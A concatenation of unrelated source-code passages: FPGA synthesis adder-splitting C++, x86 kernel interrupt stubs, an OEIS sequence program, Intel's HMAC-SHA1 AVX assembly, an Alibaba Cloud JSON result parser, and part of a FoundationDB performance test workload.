adder_chain); if (flag == 1 && count == 1) { for (i = 0; i < b; i++) { /* If the input pin of not gate connects to gnd, replacing the input pin and the not gate with vcc; * if the input pin of not gate connects to vcc, replacing the input pin and the not gate with gnd.*/ if (not_node[i]->input_pins[0]->net->driver_pin->node->type == GND_NODE) { connect_nodes(netlist->vcc_node, 0, node[0], (lefta + i)); remove_fanout_pins_from_net(not_node[i]->input_pins[0]->net, not_node[i]->input_pins[0], not_node[i]->input_pins[0]->pin_net_idx); free_nnode(not_node[i]); } else if (not_node[i]->input_pins[0]->net->driver_pin->node->type == VCC_NODE) { connect_nodes(netlist->gnd_node, 0, node[0], (lefta + i)); remove_fanout_pins_from_net(not_node[i]->input_pins[0]->net, not_node[i]->input_pins[0], not_node[i]->input_pins[0]->pin_net_idx); free_nnode(not_node[i]); } else connect_nodes(not_node[i], 0, node[0], (lefta + i)); } } else { if (sizeb > 1) { if ((b + 1) < sizeb) num = b; else num = sizeb - 1; for (i = 0; i < num; i++) { /* If the input pin of not gate connects to gnd, replacing the input pin and the not gate with vcc; * if the input pin of not gate connects to vcc, replacing the input pin and the not gate with gnd.*/ if (not_node[i]->input_pins[0]->net->driver_pin->node->type == GND_NODE) { connect_nodes(netlist->vcc_node, 0, node[0], (sizea + i + 1)); remove_fanout_pins_from_net(not_node[i]->input_pins[0]->net, not_node[i]->input_pins[0], not_node[i]->input_pins[0]->pin_net_idx); free_nnode(not_node[i]); } else if (not_node[i]->input_pins[0]->net->driver_pin->node->type == VCC_NODE) { connect_nodes(netlist->gnd_node, 0, node[0], (sizea + i + 1)); remove_fanout_pins_from_net(not_node[i]->input_pins[0]->net, not_node[i]->input_pins[0], not_node[i]->input_pins[0]->pin_net_idx); free_nnode(not_node[i]); } else connect_nodes(not_node[i], 0, node[0], (sizea + i + 1)); } } for (i = offset; i < count; i++) { num = (b + 1) - i * sizeb; if (num > sizeb) num = sizeb; for (j = 0; j < num; j++) { if (i == count - 1 && flag == 1) { /* If the input pin of not gate connects to gnd, replacing the input pin and the not gate with vcc; * if the input pin of not gate connects to vcc, replacing the input pin and the not gate with gnd.*/ if (not_node[(i * sizeb + j - 1)]->input_pins[0]->net->driver_pin->node->type == GND_NODE) { connect_nodes(netlist->vcc_node, 0, node[i], (lefta + j)); remove_fanout_pins_from_net(not_node[(i * sizeb + j - 1)]->input_pins[0]->net, not_node[(i * sizeb + j - 1)]->input_pins[0], not_node[(i * sizeb + j - 1)]->input_pins[0]->pin_net_idx); free_nnode(not_node[(i * sizeb + j - 1)]); } else if (not_node[(i * sizeb + j - 1)]->input_pins[0]->net->driver_pin->node->type == VCC_NODE) { connect_nodes(netlist->gnd_node, 0, node[i], (lefta + j)); remove_fanout_pins_from_net(not_node[(i * sizeb + j - 1)]->input_pins[0]->net, not_node[(i * sizeb + j - 1)]->input_pins[0], not_node[(i * sizeb + j - 1)]->input_pins[0]->pin_net_idx); free_nnode(not_node[(i * sizeb + j - 1)]); } else connect_nodes(not_node[(i * sizeb + j - 1)], 0, node[i], (lefta + j)); } else { /* If the input pin of not gate connects to gnd, replacing the input pin and the not gate with vcc; * if the input pin of not gate connects to vcc, replacing the input pin and the not gate with gnd.*/ const int index = i * sizeb + j - offset; if (not_node[index]->input_pins[0]->net->driver_pin->node->type == GND_NODE) { connect_nodes(netlist->vcc_node, 0, node[i], (sizea + j)); remove_fanout_pins_from_net(not_node[index]->input_pins[0]->net, not_node[index]->input_pins[0], not_node[index]->input_pins[0]->pin_net_idx); free_nnode(not_node[index]); } else if (not_node[index]->input_pins[0]->net->driver_pin->node->type == VCC_NODE) { connect_nodes(netlist->gnd_node, 0, node[i], (sizea + j)); remove_fanout_pins_from_net(not_node[index]->input_pins[0]->net, not_node[index]->input_pins[0], not_node[index]->input_pins[0]->pin_net_idx); free_nnode(not_node[index]); } else connect_nodes(not_node[index], 0, node[i], (sizea + j)); } } } } if ((flag == 0 || count > 1) && !configuration.adder_cin_global) { //connect the a[0] of first adder node to ground, and b[0] of first adder node to vcc connect_nodes(netlist->gnd_node, 0, node[0], 0); connect_nodes(netlist->vcc_node, 0, node[0], sizea); //hang the first sumout node[0]->output_pins[1] = allocate_npin(); node[0]->output_pins[1]->name = append_string("", "%s~dummy_output~%d~%d", node[0]->name, 0, 1); } // connect the first cin pin to vcc or unconn depending on configuration if ((flag == 1 && count == 1) || configuration.adder_cin_global) connect_nodes(netlist->vcc_node, 0, node[0], node[0]->num_input_pins - 1); else connect_nodes(netlist->pad_node, 0, node[0], node[0]->num_input_pins - 1); //for normal subtraction: if any input pins beside intial cin is NULL, it should connect to unconn //for unary subtraction: the first number should has the number of a input pins connected to gnd. The others are as same as normal subtraction for (i = 0; i < count; i++) { num = node[i]->num_input_pins; for (j = 0; j < num - 1; j++) { if (node[i]->input_pins[j] == NULL) { if (nodeo->num_input_port_sizes != 3 && i * sizea + j < a) connect_nodes(netlist->gnd_node, 0, node[i], j); else connect_nodes(netlist->pad_node, 0, node[i], j); } } } //connect cout to next node's cin for (i = 1; i < count; i++) connect_nodes(node[i - 1], 0, node[i], (node[i]->num_input_pins - 1)); if (flag == 1 && count == 1) { for (j = 0; j < node[0]->num_output_pins - 1; j++) { if (j < nodeo->num_output_pins) remap_pin_to_new_node(nodeo->output_pins[j], node[0], j + 1); else { node[0]->output_pins[j + 1] = allocate_npin(); // Pad outputs with a unique and descriptive name to avoid collisions. node[0]->output_pins[j + 1]->name = append_string("", "%s~dummy_output~%d~%d", node[0]->name, 0, j + 1); } } } else { for (j = 0; j < node[0]->num_output_pins - 2; j++) { if (j < nodeo->num_output_pins) remap_pin_to_new_node(nodeo->output_pins[j], node[0], j + 2); else { node[0]->output_pins[j + 2] = allocate_npin(); // Pad outputs with a unique and descriptive name to avoid collisions. node[0]->output_pins[j + 2]->name = append_string("", "%s~dummy_output~%d~%d", node[0]->name, 0, j + 2); } } } if (count > 1 || configuration.adder_cin_global) { //remap the output pins of each adder to nodeo for (i = offset; i < count; i++) { for (j = 0; j < node[i]->num_output_pins - 1; j++) { if ((i * sizea + j - offset) < nodeo->num_output_pins) remap_pin_to_new_node(nodeo->output_pins[i * sizea + j - offset], node[i], j + 1); else { node[i]->output_pins[j + 1] = allocate_npin(); // Pad outputs with a unique and descriptive name to avoid collisions. node[i]->output_pins[j + 1]->name = append_string("", "%s~dummy_output~%d~%d", node[i]->name, i, j + 2); } } } } node[count - 1]->output_pins[0] = allocate_npin(); // Pad outputs with a unique and descriptive name to avoid collisions. node[count - 1]->output_pins[0]->name = append_string("", "%s~dummy_output~%d~%d", node[(count - 1)]->name, (count - 1), 0); //connect_nodes(node[count - 1], (node[(count - 1)]->num_output_pins - 1), netlist->gnd_node, 0); //} /* Probably more to do here in freeing the old node! */ vtr::free(nodeo->name); vtr::free(nodeo->input_port_sizes); vtr::free(nodeo->output_port_sizes); /* Free arrays NOT the pins since relocated! */ vtr::free(nodeo->input_pins); vtr::free(nodeo->output_pins); vtr::free(nodeo); vtr::free(node); vtr::free(not_node); return; } /*------------------------------------------------------------------------- * (function: iterate_adders_for_sub) * * This function will iterate over all of the minus operations that * exist in the netlist and perform a splitting so that they can * fit into a basic hard adder block that exists on the FPGA. * If the proper option is set, then it will be expanded as well * to just use a fixed size hard adder. *-----------------------------------------------------------------------*/ void iterate_adders_for_sub(netlist_t* netlist) { int sizea, sizeb, sizecin; //the size of int a, b; int count, counta, countb; int num; nnode_t* node; const int offset = (configuration.adder_cin_global) ? 0 : 1; /* Can only perform the optimisation if hard adders exist! */ if (hard_adders == NULL) return; else { //In hard block adder, the summand and addend are same size. sizecin = hard_adders->inputs->size; sizeb = hard_adders->inputs->next->size; sizea = hard_adders->inputs->next->size; oassert(sizecin == 1); while (sub_list != NULL) { node = (nnode_t*)sub_list->data_vptr; sub_list = delete_in_vptr_list(sub_list); oassert(node != NULL); oassert(node->type == MINUS); a = node->input_port_sizes[0]; if (node->num_input_port_sizes == 2) b = node->input_port_sizes[1]; else b = node->input_port_sizes[0]; num = (a >= b) ? a : b; if (num >= min_threshold_adder) { // how many subtractors base on a can split if ((a + 1) % sizea == 0) counta = (a + offset) / sizea; else counta = (a + 1) / sizea + 1; // how many subtractors base on b can split if ((b + 1) % sizeb == 0) countb = (b + offset) / sizeb; else countb = (b + 1) / sizeb + 1; // how many subtractors need to be split if (counta >= countb) count = counta; else count = countb; subchaintotal++; split_adder_for_sub(node, a, b, sizea, sizeb, 1, 1, count, netlist); } // Store the node into processed_adder_list if the threshold is bigger than num else processed_adder_list = insert_in_vptr_list(processed_adder_list, node); } } return; } /*------------------------------------------------------------------------- * (function: clean_adders) * * Clean up the memory by deleting the list structure of adders * during optimization *-----------------------------------------------------------------------*/ void clean_adders_for_sub() { while (sub_list != NULL) sub_list = delete_in_vptr_list(sub_list); while (processed_adder_list != NULL) processed_adder_list = delete_in_vptr_list(processed_adder_list); return; }
[extern isr_handler] [extern irq_handler] ; Common handler for isrs isr_common_func: pusha mov ax, ds push eax mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax call isr_handler pop eax mov ds, ax mov es, ax mov fs, ax mov gs, ax popa add esp, 8 sti iret ; Common handler for irqs irq_common_func: pusha mov ax, ds push eax mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax call irq_handler pop ebx mov ds, bx mov es, bx mov fs, bx mov gs, bx popa add esp, 8 sti iret ; Define and map every isr and irq global isr0 global isr1 global isr2 global isr3 global isr4 global isr5 global isr6 global isr7 global isr8 global isr9 global isr10 global isr11 global isr12 global isr13 global isr14 global isr15 global isr16 global isr17 global isr18 global isr19 global isr20 global isr21 global isr22 global isr23 global isr24 global isr25 global isr26 global isr27 global isr28 global isr29 global isr30 global isr31 global irq0 global irq1 global irq2 global irq3 global irq4 global irq5 global irq6 global irq7 global irq8 global irq9 global irq10 global irq11 global irq12 global irq13 global irq14 global irq15 isr0: cli push byte 0 push byte 0 jmp isr_common_func isr1: cli push byte 0 push byte 1 jmp isr_common_func isr2: cli push byte 0 push byte 2 jmp isr_common_func isr3: cli push byte 0 push byte 3 jmp isr_common_func isr4: cli push byte 0 push byte 4 jmp isr_common_func isr5: cli push byte 0 push byte 5 jmp isr_common_func isr6: cli push byte 0 push byte 6 jmp isr_common_func isr7: cli push byte 0 push byte 7 jmp isr_common_func isr8: cli push byte 8 jmp isr_common_func isr9: cli push byte 0 push byte 9 jmp isr_common_func isr10: cli push byte 10 jmp isr_common_func isr11: cli push byte 11 jmp isr_common_func isr12: cli push byte 12 jmp isr_common_func isr13: cli push byte 13 jmp isr_common_func isr14: cli push byte 14 jmp isr_common_func isr15: cli push byte 0 push byte 15 jmp isr_common_func isr16: cli push byte 0 push byte 16 jmp isr_common_func isr17: cli push byte 0 push byte 17 jmp isr_common_func isr18: cli push byte 0 push byte 18 jmp isr_common_func isr19: cli push byte 0 push byte 19 jmp isr_common_func isr20: cli push byte 0 push byte 20 jmp isr_common_func isr21: cli push byte 0 push byte 21 jmp isr_common_func isr22: cli push byte 0 push byte 22 jmp isr_common_func isr23: cli push byte 0 push byte 23 jmp isr_common_func isr24: cli push byte 0 push byte 24 jmp isr_common_func isr25: cli push byte 0 push byte 25 jmp isr_common_func isr26: cli push byte 0 push byte 26 jmp isr_common_func isr27: cli push byte 0 push byte 27 jmp isr_common_func isr28: cli push byte 0 push byte 28 jmp isr_common_func isr29: cli push byte 0 push byte 29 jmp isr_common_func isr30: cli push byte 0 push byte 30 jmp isr_common_func isr31: cli push byte 0 push byte 31 jmp isr_common_func irq0: cli push byte 0 push byte 32 jmp irq_common_func irq1: cli push byte 1 push byte 33 jmp irq_common_func irq2: cli push byte 2 push byte 34 jmp irq_common_func irq3: cli push byte 3 push byte 35 jmp irq_common_func irq4: cli push byte 4 push byte 36 jmp irq_common_func irq5: cli push byte 5 push byte 37 jmp irq_common_func irq6: cli push byte 6 push byte 38 jmp irq_common_func irq7: cli push byte 7 push byte 39 jmp irq_common_func irq8: cli push byte 8 push byte 40 jmp irq_common_func irq9: cli push byte 9 push byte 41 jmp irq_common_func irq10: cli push byte 10 push byte 42 jmp irq_common_func irq11: cli push byte 11 push byte 43 jmp irq_common_func irq12: cli push byte 12 push byte 44 jmp irq_common_func irq13: cli push byte 13 push byte 45 jmp irq_common_func irq14: cli push byte 14 push byte 46 jmp irq_common_func irq15: cli push byte 15 push byte 47 jmp irq_common_func
; A337928: Numbers w such that (F(2n+1)^2, -F(2n)^2, -w) are primitive solutions of the Diophantine equation 2*x^3 + 2*y^3 + z^3 = 1, where F(n) is the n-th Fibonacci number (A000045). ; Submitted by Jamie Morken(s4) ; 1,5,31,209,1429,9791,67105,459941,3152479,21607409,148099381,1015088255,6957518401,47687540549,326855265439,2240299317521,15355239957205,105246380382911,721369422723169,4944339578679269,33889007628031711,232278713817542705 mov $2,1 lpb $0 sub $0,1 add $1,$2 add $2,$1 lpe mov $0,$2 mul $0,5 mul $1,$0 mov $0,$1 div $0,5 mul $0,2 add $0,1
;; ;; Copyright (c) 2012-2018, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "job_aes_hmac.asm" %include "mb_mgr_datastruct.asm" %include "include/reg_sizes.asm" %include "include/memcpy.asm" %include "include/const.inc" extern sha1_mult_avx section .data default rel align 16 byteswap: ;ddq 0x0c0d0e0f08090a0b0405060700010203 dq 0x0405060700010203, 0x0c0d0e0f08090a0b section .text %if 1 %ifdef LINUX %define arg1 rdi %define arg2 rsi %define reg3 rcx %define reg4 rdx %else %define arg1 rcx %define arg2 rdx %define reg3 rdi %define reg4 rsi %endif %define state arg1 %define job arg2 %define len2 arg2 ; idx needs to be in rbx, rbp, r12-r15 %define last_len rbp %define idx rbp %define p r11 %define start_offset r11 %define unused_lanes rbx %define tmp4 rbx %define job_rax rax %define len rax %define size_offset reg3 %define tmp2 reg3 %define lane reg4 %define tmp3 reg4 %define extra_blocks r8 %define tmp r9 %define p2 r9 %define lane_data r10 %endif ; This routine clobbers rdi, rsi, rbx, rbp struc STACK _gpr_save: resq 4 _rsp_save: resq 1 endstruc ; JOB* submit_job_hmac_avx(MB_MGR_HMAC_SHA_1_OOO *state, JOB_AES_HMAC *job) ; arg 1 : rcx : state ; arg 2 : rdx : job MKGLOBAL(submit_job_hmac_avx,function,internal) submit_job_hmac_avx: mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp %ifndef LINUX mov [rsp + _gpr_save + 8*2], rsi mov [rsp + _gpr_save + 8*3], rdi %endif mov [rsp + _rsp_save], rax ; original SP mov unused_lanes, [state + _unused_lanes] movzx lane, BYTE(unused_lanes) shr unused_lanes, 8 imul lane_data, lane, _HMAC_SHA1_LANE_DATA_size lea lane_data, [state + _ldata + lane_data] mov [state + _unused_lanes], unused_lanes mov len, [job + _msg_len_to_hash_in_bytes] mov tmp, len shr tmp, 6 ; divide by 64, len in terms of blocks mov [lane_data + _job_in_lane], job mov dword [lane_data + _outer_done], 0 vmovdqa xmm0, [state + _lens] XVPINSRW xmm0, xmm1, p, lane, tmp, scale_x16 vmovdqa [state + _lens], xmm0 mov last_len, len and last_len, 63 lea extra_blocks, [last_len + 9 + 63] shr extra_blocks, 6 mov [lane_data + _extra_blocks], DWORD(extra_blocks) mov p, [job + _src] add p, [job + _hash_start_src_offset_in_bytes] mov [state + _args_data_ptr + PTR_SZ*lane], p cmp len, 64 jb copy_lt64 fast_copy: add p, len vmovdqu xmm0, [p - 64 + 0*16] vmovdqu xmm1, [p - 64 + 1*16] vmovdqu xmm2, [p - 64 + 2*16] vmovdqu xmm3, [p - 64 + 3*16] vmovdqa [lane_data + _extra_block + 0*16], xmm0 vmovdqa [lane_data + _extra_block + 1*16], xmm1 vmovdqa [lane_data + _extra_block + 2*16], xmm2 vmovdqa [lane_data + _extra_block + 3*16], xmm3 end_fast_copy: mov size_offset, extra_blocks shl size_offset, 6 sub size_offset, last_len add size_offset, 64-8 mov [lane_data + _size_offset], DWORD(size_offset) mov start_offset, 64 sub start_offset, last_len mov [lane_data + _start_offset], DWORD(start_offset) lea tmp, [8*64 + 8*len] bswap tmp mov [lane_data + _extra_block + size_offset], tmp mov tmp, [job + _auth_key_xor_ipad] vmovdqu xmm0, [tmp] mov DWORD(tmp), [tmp + 4*4] vmovd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*lane + 0*SHA1_DIGEST_ROW_SIZE], xmm0 vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*lane + 1*SHA1_DIGEST_ROW_SIZE], xmm0, 1 vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*lane + 2*SHA1_DIGEST_ROW_SIZE], xmm0, 2 vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*lane + 3*SHA1_DIGEST_ROW_SIZE], xmm0, 3 mov [state + _args_digest + SHA1_DIGEST_WORD_SIZE*lane + 4*SHA1_DIGEST_ROW_SIZE], DWORD(tmp) test len, ~63 jnz ge64_bytes lt64_bytes: vmovdqa xmm0, [state + _lens] XVPINSRW xmm0, xmm1, tmp, lane, extra_blocks, scale_x16 vmovdqa [state + _lens], xmm0 lea tmp, [lane_data + _extra_block + start_offset] mov [state + _args_data_ptr + PTR_SZ*lane], tmp mov dword [lane_data + _extra_blocks], 0 ge64_bytes: cmp unused_lanes, 0xff jne return_null jmp start_loop align 16 start_loop: ; Find min length vmovdqa xmm0, [state + _lens] vphminposuw xmm1, xmm0 vpextrw DWORD(len2), xmm1, 0 ; min value vpextrw DWORD(idx), xmm1, 1 ; min index (0...3) cmp len2, 0 je len_is_0 vpshuflw xmm1, xmm1, 0 vpsubw xmm0, xmm0, xmm1 vmovdqa [state + _lens], xmm0 ; "state" and "args" are the same address, arg1 ; len is arg2 call sha1_mult_avx ; state and idx are intact len_is_0: ; process completed job "idx" imul lane_data, idx, _HMAC_SHA1_LANE_DATA_size lea lane_data, [state + _ldata + lane_data] mov DWORD(extra_blocks), [lane_data + _extra_blocks] cmp extra_blocks, 0 jne proc_extra_blocks cmp dword [lane_data + _outer_done], 0 jne end_loop proc_outer: mov dword [lane_data + _outer_done], 1 mov DWORD(size_offset), [lane_data + _size_offset] mov qword [lane_data + _extra_block + size_offset], 0 vmovdqa xmm0, [state + _lens] XVPINSRW xmm0, xmm1, tmp, idx, 1, scale_x16 vmovdqa [state + _lens], xmm0 lea tmp, [lane_data + _outer_block] mov job, [lane_data + _job_in_lane] mov [state + _args_data_ptr + PTR_SZ*idx], tmp vmovd xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 0*SHA1_DIGEST_ROW_SIZE] vpinsrd xmm0, xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 1*SHA1_DIGEST_ROW_SIZE], 1 vpinsrd xmm0, xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 2*SHA1_DIGEST_ROW_SIZE], 2 vpinsrd xmm0, xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 3*SHA1_DIGEST_ROW_SIZE], 3 vpshufb xmm0, xmm0, [rel byteswap] mov DWORD(tmp), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 4*SHA1_DIGEST_ROW_SIZE] bswap DWORD(tmp) vmovdqa [lane_data + _outer_block], xmm0 mov [lane_data + _outer_block + 4*SHA1_DIGEST_WORD_SIZE], DWORD(tmp) mov tmp, [job + _auth_key_xor_opad] vmovdqu xmm0, [tmp] mov DWORD(tmp), [tmp + 4*4] vmovd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 0*SHA1_DIGEST_ROW_SIZE], xmm0 vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 1*SHA1_DIGEST_ROW_SIZE], xmm0, 1 vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 2*SHA1_DIGEST_ROW_SIZE], xmm0, 2 vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 3*SHA1_DIGEST_ROW_SIZE], xmm0, 3 mov [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 4*SHA1_DIGEST_ROW_SIZE], DWORD(tmp) jmp start_loop align 16 proc_extra_blocks: mov DWORD(start_offset), [lane_data + _start_offset] vmovdqa xmm0, [state + _lens] XVPINSRW xmm0, xmm1, tmp, idx, extra_blocks, scale_x16 vmovdqa [state + _lens], xmm0 lea tmp, [lane_data + _extra_block + start_offset] mov [state + _args_data_ptr + PTR_SZ*idx], tmp mov dword [lane_data + _extra_blocks], 0 jmp start_loop align 16 copy_lt64: ;; less than one message block of data ;; beginning of source block ;; destination extrablock but backwards by len from where 0x80 pre-populated lea p2, [lane_data + _extra_block + 64] sub p2, len memcpy_avx_64_1 p2, p, len, tmp4, tmp2, xmm0, xmm1, xmm2, xmm3 mov unused_lanes, [state + _unused_lanes] jmp end_fast_copy return_null: xor job_rax, job_rax jmp return align 16 end_loop: mov job_rax, [lane_data + _job_in_lane] mov unused_lanes, [state + _unused_lanes] mov qword [lane_data + _job_in_lane], 0 or dword [job_rax + _status], STS_COMPLETED_HMAC shl unused_lanes, 8 or unused_lanes, idx mov [state + _unused_lanes], unused_lanes mov p, [job_rax + _auth_tag_output] ; copy 12 bytes mov DWORD(tmp), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 0*SHA1_DIGEST_ROW_SIZE] mov DWORD(tmp2), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 1*SHA1_DIGEST_ROW_SIZE] mov DWORD(tmp3), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 2*SHA1_DIGEST_ROW_SIZE] bswap DWORD(tmp) bswap DWORD(tmp2) bswap DWORD(tmp3) mov [p + 0*SHA1_DIGEST_WORD_SIZE], DWORD(tmp) mov [p + 1*SHA1_DIGEST_WORD_SIZE], DWORD(tmp2) mov [p + 2*SHA1_DIGEST_WORD_SIZE], DWORD(tmp3) cmp qword [job_rax + _auth_tag_output_len_in_bytes], 12 je return ;; copy remaining 8 bytes to return 20 byte digest mov DWORD(tmp), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 3*SHA1_DIGEST_ROW_SIZE] mov DWORD(tmp2), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 4*SHA1_DIGEST_ROW_SIZE] bswap DWORD(tmp) bswap DWORD(tmp2) mov [p + 3*SHA1_DIGEST_WORD_SIZE], DWORD(tmp) mov [p + 4*SHA1_DIGEST_WORD_SIZE], DWORD(tmp2) return: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*2] mov rdi, [rsp + _gpr_save + 8*3] %endif mov rsp, [rsp + _rsp_save] ; original SP ret %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/ccc/model/GetCampaignResult.h> #include <json/json.h> using namespace AlibabaCloud::CCC; using namespace AlibabaCloud::CCC::Model; GetCampaignResult::GetCampaignResult() : ServiceResult() {} GetCampaignResult::GetCampaignResult(const std::string &payload) : ServiceResult() { parse(payload); } GetCampaignResult::~GetCampaignResult() {} void GetCampaignResult::parse(const std::string &payload) { Json::Reader reader; Json::Value value; reader.parse(payload, value); setRequestId(value["RequestId"].asString()); auto dataNode = value["Data"]; if(!dataNode["ActualEndTime"].isNull()) data_.actualEndTime = std::stol(dataNode["ActualEndTime"].asString()); if(!dataNode["ActualStartTime"].isNull()) data_.actualStartTime = std::stol(dataNode["ActualStartTime"].asString()); if(!dataNode["CasesAborted"].isNull()) data_.casesAborted = std::stol(dataNode["CasesAborted"].asString()); if(!dataNode["CasesUncompleted"].isNull()) data_.casesUncompleted = std::stol(dataNode["CasesUncompleted"].asString()); if(!dataNode["CasesConnected"].isNull()) data_.casesConnected = std::stol(dataNode["CasesConnected"].asString()); if(!dataNode["CompletedRate"].isNull()) data_.completedRate = std::stol(dataNode["CompletedRate"].asString()); if(!dataNode["MaxAttemptCount"].isNull()) data_.maxAttemptCount = std::stol(dataNode["MaxAttemptCount"].asString()); if(!dataNode["MinAttemptInterval"].isNull()) data_.minAttemptInterval = std::stol(dataNode["MinAttemptInterval"].asString()); if(!dataNode["Name"].isNull()) data_.name = dataNode["Name"].asString(); if(!dataNode["PlanedEndTime"].isNull()) data_.planedEndTime = std::stol(dataNode["PlanedEndTime"].asString()); if(!dataNode["PlanedStartTime"].isNull()) data_.planedStartTime = std::stol(dataNode["PlanedStartTime"].asString()); if(!dataNode["QueueName"].isNull()) data_.queueName = dataNode["QueueName"].asString(); if(!dataNode["TotalCases"].isNull()) data_.totalCases = std::stol(dataNode["TotalCases"].asString()); if(!dataNode["State"].isNull()) data_.state = dataNode["State"].asString(); if(!dataNode["CampaignId"].isNull()) data_.campaignId = dataNode["CampaignId"].asString(); if(!dataNode["StrategyType"].isNull()) data_.strategyType = dataNode["StrategyType"].asString(); if(!dataNode["StrategyParameters"].isNull()) data_.strategyParameters = dataNode["StrategyParameters"].asString(); if(!dataNode["QueueId"].isNull()) data_.queueId = dataNode["QueueId"].asString(); if(!dataNode["Simulation"].isNull()) data_.simulation = dataNode["Simulation"].asString() == "true"; if(!dataNode["SimulationParameters"].isNull()) data_.simulationParameters = dataNode["SimulationParameters"].asString(); if(!value["HttpStatusCode"].isNull()) httpStatusCode_ = std::stol(value["HttpStatusCode"].asString()); if(!value["Code"].isNull()) code_ = value["Code"].asString(); if(!value["Success"].isNull()) success_ = value["Success"].asString() == "true"; } long GetCampaignResult::getHttpStatusCode()const { return httpStatusCode_; } GetCampaignResult::Data GetCampaignResult::getData()const { return data_; } std::string GetCampaignResult::getCode()const { return code_; } bool GetCampaignResult::getSuccess()const { return success_; }
/* * Performance.actor.cpp * * This source file is part of the FoundationDB open source project * * Copyright 2013-2018 Apple Inc. and the FoundationDB project authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "fdbclient/NativeAPI.actor.h" #include "fdbserver/TesterInterface.actor.h" #include "fdbserver/workloads/workloads.actor.h" #include "fdbserver/QuietDatabase.h" #include "flow/actorcompiler.h" // This must be the last #include. struct PerformanceWorkload : TestWorkload { Value probeWorkload; Standalone< VectorRef<KeyValueRef> > savedOptions; vector<PerfMetric> metrics; vector<TesterInterface> testers; PerfMetric latencyBaseline, latencySaturation; PerfMetric maxAchievedTPS; PerformanceWorkload( WorkloadContext const& wcx ) : TestWorkload(wcx) { probeWorkload = getOption( options, LiteralStringRef("probeWorkload"), LiteralStringRef("ReadWrite") ); // "Consume" all options and save for later tests for(int i=0; i < options.size(); i++) { if( options[i].value.size() ) { savedOptions.push_back_deep( savedOptions.arena(), KeyValueRef( options[i].key, options[i].value ) ); printf("saved option (%d): '%s'='%s'\n", i, printable( options[i].key ).c_str(), printable( options[i].value ).c_str() ); options[i].value = LiteralStringRef(""); } } printf( "saved %d options\n", savedOptions.size() ); } virtual std::string description() { return "PerformanceTestWorkload"; } virtual Future<Void> setup( Database const& cx ) { if( !clientId ) return _setup( cx, this ); return Void(); } virtual Future<Void> start( Database const& cx ) { if( !clientId ) return _start( cx, this ); return Void(); } virtual Future<bool> check( Database const& cx ) { return true; } virtual void getMetrics( vector<PerfMetric>& m ) { for(int i=0; i < metrics.size(); i++) m.push_back( metrics[i] ); if( !clientId ) { m.push_back( PerfMetric( "Baseline Latency (average, ms)", latencyBaseline.value(), false ) ); m.push_back( PerfMetric( "Saturation Transactions/sec", maxAchievedTPS.value(), false 